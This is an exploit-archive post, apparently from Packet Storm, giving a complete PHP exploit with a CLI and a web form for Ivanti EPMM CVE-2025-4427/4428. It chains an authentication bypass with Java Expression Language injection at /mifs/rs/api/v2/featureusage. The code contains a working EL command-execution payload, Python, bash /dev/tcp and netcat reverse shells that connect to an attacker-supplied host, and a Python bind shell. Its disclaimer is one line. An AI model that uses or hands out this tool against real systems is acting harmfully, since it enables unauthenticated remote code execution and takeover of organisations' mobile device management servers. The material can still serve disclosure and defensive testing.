=============================================================================================================================================
| # Title     : Ivanti Endpoint Manager Mobile 12.5.0.0 Expression Language Injection                                                       |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://www.ivanti.com/products/endpoint-manager-mobile                                                                     |
=============================================================================================================================================

[+] References :  https://packetstorm.news/files/id/200146/ &  CVE-2025-4427, CVE-2025-4428 

[+] Summary : 
          
              The exploit targets two critical vulnerabilities in Ivanti EPMM:
              CVE-2025-4427 - Authentication Bypass
              CVE-2025-4428 - Expression Language Injection
              The vulnerability chain allows unauthenticated attackers to execute arbitrary commands 
			  on the target system through Java Expression Language (EL) injection in the /mifs/rs/api/v2/featureusage endpoint.
			 
[+] Exploitation Mechanism

    Endpoint Discovery: The exploit targets /mifs/rs/api/v2/featureusage

    Payload Injection: Uses Java EL injection via the format parameter

    Command Execution: Leverages Java runtime reflection to execute system commands

    Result Extraction: Uses Java Scanner class to read command output
[+]  POC : 

php poc.php  or http://127.0.0.1/poc.php 

php poc.php -t target.com -c

php poc.php -t 192.168.1.100 -P command

php poc.php -t target.com -P reverse_shell -H YOUR_IP -L 4444

<?php
/*
 * by indoushka
 * CVE-2025-4427, CVE-2025-4428 - Ivanti EPMM RCE Exploit
 */

class IvantiEPMMExploit {
    private $target;
    private $port;
    private $ssl;
    private $base_path;
    private $timeout;
    
    public function __construct($target, $port = 443, $ssl = true, $base_path = '/') {
        $this->target = $target;
        $this->port = $port;
        $this->ssl = $ssl;
        $this->base_path = rtrim($base_path, '/');
        $this->timeout = 30;
    }
    
    /**
     * Vulnerability check
     */
    public function check() {
        echo "[*] Checking Ivanti EPMM vulnerability...\n";
        
        $command = 'id';
        $response = $this->execute_command($command);
        
        if (!$response) {
            echo "[-] Failed to get response from target\n";
            return "unknown";
        }
        
        if (strpos($response, 'uid=') !== false && strpos($response, 'gid=') !== false) {
            echo "[+] ✓ Target is vulnerable!\n";
            return "vulnerable";
        } else {
            echo "[-] ✗ Target is not vulnerable\n";
            return "safe";
        }
    }
    
    /**
     * Execute remote command
     */
    private function execute_command($command) {
        // Build Expression Language Injection payload
        $payload = $this->build_el_payload($command);
        
        $url = $this->build_url('/mifs/rs/api/v2/featureusage');
        
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url . '?format=' . urlencode($payload),
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => $this->timeout,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        echo "[*] HTTP Status: $http_code\n";
        
        return $response;
    }
    
    /**
     * Build Expression Language Injection payload
     */
    private function build_el_payload($command) {
        // Java Expression Language Injection for command execution
        $payload = "\${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('{$command}').getInputStream()).useDelimiter('\\\\\\\\A').next()}";
        
        return $payload;
    }
    
    /**
     * Main exploit execution
     */
    public function exploit($payload_type = 'reverse_shell', $lhost = null, $lport = null) {
        echo "[*] Starting Ivanti EPMM exploitation...\n";
        
        // Create payload based on type
        $payload_cmd = $this->generate_payload($payload_type, $lhost, $lport);
        
        if (!$payload_cmd) {
            echo "[-] Failed to generate payload\n";
            return false;
        }
        
        echo "[*] Executing payload...\n";
        $response = $this->execute_command($payload_cmd);
        
        if ($response) {
            echo "[+] ✓ Payload sent successfully\n";
            echo "[*] Check your reverse connection\n";
            return true;
        } else {
            echo "[-] ✗ Failed to execute payload\n";
            return false;
        }
    }
    
    /**
     * Generate different payloads
     */
    private function generate_payload($type, $lhost, $lport) {
        switch ($type) {
            case 'reverse_shell':
                if (!$lhost || !$lport) {
                    echo "[-] IP and port required for reverse shell\n";
                    return false;
                }
                return $this->generate_reverse_shell($lhost, $lport);
                
            case 'bind_shell':
                if (!$lport) {
                    echo "[-] Port required for bind shell\n";
                    return false;
                }
                return $this->generate_bind_shell($lport);
                
            case 'command':
                return 'id; whoami; uname -a; pwd';
                
            default:
                return 'id; whoami';
        }
    }
    
    /**
     * Generate reverse shell
     */
    private function generate_reverse_shell($lhost, $lport) {
        // Multiple reverse shells
        $shells = [
            // Python reverse shell
            "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$lhost}\",{$lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'",
            
            // Bash reverse shell
            "bash -c 'bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'",
            
            // Netcat reverse shell
            "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {$lhost} {$lport} >/tmp/f"
        ];
        
        return $shells[0]; // Use Python as default
    }
    
    /**
     * Generate bind shell
     */
    private function generate_bind_shell($lport) {
        return "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\"0.0.0.0\",{$lport}));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0); os.dup2(conn.fileno(),1); os.dup2(conn.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'";
    }
    
    /**
     * Build full URL
     */
    private function build_url($path) {
        $protocol = $this->ssl ? 'https' : 'http';
        $full_path = $this->base_path . $path;
        return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
    }
}

// CLI Interface
if (php_sapi_name() === 'cli') {
    echo "
    ██╗██╗   ██╗ █████╗ ███╗   ██╗████████╗██╗
    ██║██║   ██║██╔══██╗████╗  ██║╚══██╔══╝██║
    ██║██║   ██║███████║██╔██╗ ██║   ██║   ██║
    ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║   ██║   ██║
    ██║ ╚████╔╝ ██║  ██║██║ ╚████║   ██║   ██║
    ╚═╝  ╚═══╝  ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝
    
    Ivanti EPMM RCE ExploitPHP Implementation
    
    \n";
    
    $options = getopt("t:p:s:u:c:P:L:H:", [
        "target:",
        "port:",
        "ssl",
        "uri:",
        "check",
        "payload:",
        "lhost:",
        "lport:"
    ]);
    
    $target = $options['t'] ?? $options['target'] ?? null;
    $port = $options['p'] ?? $options['port'] ?? 443;
    $ssl = isset($options['s']) || isset($options['ssl']);
    $base_uri = $options['u'] ?? $options['uri'] ?? '/';
    $check_only = isset($options['c']) || isset($options['check']);
    $payload_type = $options['P'] ?? $options['payload'] ?? 'command';
    $lhost = $options['H'] ?? $options['lhost'] ?? null;
    $lport = $options['L'] ?? $options['lport'] ?? 4444;
    
    if (!$target) {
        echo "Usage: php poc.php [options]\n";
        echo "Options:\n";
        echo "  -t, --target    Target host (required)\n";
        echo "  -p, --port      Target port (default: 443)\n";
        echo "  -s, --ssl       Use SSL (default: true)\n";
        echo "  -u, --uri       Base URI path (default: /)\n";
        echo "  -c, --check     Check only (don't exploit)\n";
        echo "  -P, --payload   Payload type: command, reverse_shell, bind_shell (default: command)\n";
        echo "  -H, --lhost     Listener host for reverse shell\n";
        echo "  -L, --lport     Listener port for reverse shell (default: 4444)\n";
        echo "\nExamples:\n";
        echo "  php poc.php -t 192.168.1.100 -c\n";
        echo "  php poc.php -t target.com -P reverse_shell -H 10.0.0.5 -L 4444\n";
        exit(1);
    }
    
    $exploit = new IvantiEPMMExploit($target, $port, $ssl, $base_uri);
    
    if ($check_only) {
        $result = $exploit->check();
        echo "\n[*] Result: {$result}\n";
    } else {
        if ($exploit->exploit($payload_type, $lhost, $lport)) {
            echo "[+] Exploitation completed successfully\n";
        } else {
            echo "[-] Exploitation failed\n";
        }
    }
    
} else {
    // Web Interface - FIXED VERSION
    // Check if form was submitted
    $action = $_POST['action'] ?? '';
    
    if ($action === 'check' || $action === 'exploit') {
        $target = $_POST['target'] ?? '';
        $port = $_POST['port'] ?? 443;
        $ssl = isset($_POST['ssl']);
        $base_uri = $_POST['uri'] ?? '/';
        $payload_type = $_POST['payload_type'] ?? 'command';
        $lhost = $_POST['lhost'] ?? '';
        $lport = $_POST['lport'] ?? 4444;
        
        if (empty($target)) {
            echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
        } else {
            $exploit = new IvantiEPMMExploit($target, $port, $ssl, $base_uri);
            
            ob_start();
            if ($action === 'check') {
                $exploit->check();
            } else {
                $exploit->exploit($payload_type, $lhost, $lport);
            }
            $output = ob_get_clean();
            
            echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
        }
        
        // Show the form again after execution
        echo '<a href="'.htmlspecialchars($_SERVER['PHP_SELF']).'" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
    } else {
        // Display the form
        echo '<!DOCTYPE html>
        <html>
        <head>
            <title>Ivanti EPMM RCE Exploit</title>
            <meta charset="UTF-8">
            <style>
                body { 
                    font-family: Arial, sans-serif; 
                    margin: 0; 
                    padding: 20px; 
                    background: #f5f5f5;
                }
                .container { 
                    max-width: 800px; 
                    margin: 0 auto; 
                    background: white;
                    padding: 30px;
                    border-radius: 8px;
                    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                }
                h1 { 
                    color: #333; 
                    border-bottom: 2px solid #007cba;
                    padding-bottom: 10px;
                }
                h3 {
                    color: #666;
                }
                .form-group { 
                    margin-bottom: 20px; 
                }
                label { 
                    display: block; 
                    margin-bottom: 8px; 
                    font-weight: bold;
                    color: #333;
                }
                input[type="text"], select { 
                    width: 100%; 
                    padding: 10px; 
                    border: 1px solid #ddd; 
                    border-radius: 4px; 
                    box-sizing: border-box;
                    font-size: 14px;
                }
                .checkbox-group {
                    display: flex;
                    align-items: center;
                    gap: 10px;
                }
                button { 
                    background: #007cba; 
                    color: white; 
                    padding: 12px 25px; 
                    border: none; 
                    border-radius: 4px; 
                    cursor: pointer; 
                    margin-right: 10px;
                    font-size: 16px;
                    transition: background 0.3s;
                }
                button:hover {
                    background: #005a87;
                }
                .danger { 
                    background: #dc3545; 
                }
                .danger:hover {
                    background: #c82333;
                }
                .info { 
                    background: #17a2b8; 
                }
                .info:hover {
                    background: #138496;
                }
                .warning-box {
                    background: #fff3cd;
                    border: 1px solid #ffeaa7;
                    color: #856404;
                    padding: 15px;
                    border-radius: 4px;
                    margin: 20px 0;
                }
                .info-box {
                    background: #d1ecf1;
                    border: 1px solid #bee5eb;
                    color: #0c5460;
                    padding: 15px;
                    border-radius: 4px;
                    margin: 20px 0;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <h1>Ivanti EPMM RCE Exploit</h1>
                <h3>CVE-2025-4427 & CVE-2025-4428 - Authentication Bypass & RCE</h3>
                
                <div class="warning-box">
                    <strong>⚠️ Warning:</strong> This tool is for educational and authorized penetration testing purposes only. Unauthorized use is illegal.
                </div>
                
                <form method="post">
                    <div class="form-group">
                        <label for="target">Target Host:</label>
                        <input type="text" id="target" name="target" placeholder="192.168.1.100 or target.com" required>
                    </div>
                    
                    <div class="form-group">
                        <label for="port">Port:</label>
                        <input type="text" id="port" name="port" value="443">
                    </div>
                    
                    <div class="form-group">
                        <label for="uri">Base URI:</label>
                        <input type="text" id="uri" name="uri" value="/">
                    </div>
                    
                    <div class="form-group">
                        <div class="checkbox-group">
                            <input type="checkbox" id="ssl" name="ssl" checked>
                            <label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
                        </div>
                    </div>
                    
                    <div class="form-group">
                        <label for="payload_type">Payload Type:</label>
                        <select id="payload_type" name="payload_type">
                            <option value="command">Test Command (id; whoami)</option>
                            <option value="reverse_shell">Reverse Shell</option>
                            <option value="bind_shell">Bind Shell</option>
                        </select>
                    </div>
                    
                    <div class="form-group">
                        <label for="lhost">Listener Host (for reverse shell):</label>
                        <input type="text" id="lhost" name="lhost" placeholder="Your IP address: 192.168.1.100">
                    </div>
                    
                    <div class="form-group">
                        <label for="lport">Listener Port (for reverse shell):</label>
                        <input type="text" id="lport" name="lport" value="4444">
                    </div>
                    
                    <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                    <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                </form>
                
                <div class="info-box">
                    <h3>About CVE-2025-4427 & CVE-2025-4428:</h3>
                    <p><strong>Vulnerability:</strong> Authentication Bypass + Expression Language Injection</p>
                    <p><strong>Affected Products:</strong> Ivanti EPMM, MobileIron Core</p>
                    <p><strong>Impact:</strong> Unauthenticated Remote Code Execution</p>
                    <p><strong>Endpoint:</strong> /mifs/rs/api/v2/featureusage</p>
                    <p><strong>CVSS Score:</strong> 9.8 (Critical)</p>
                </div>
            </div>
        </body>
        </html>';
    }
}
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================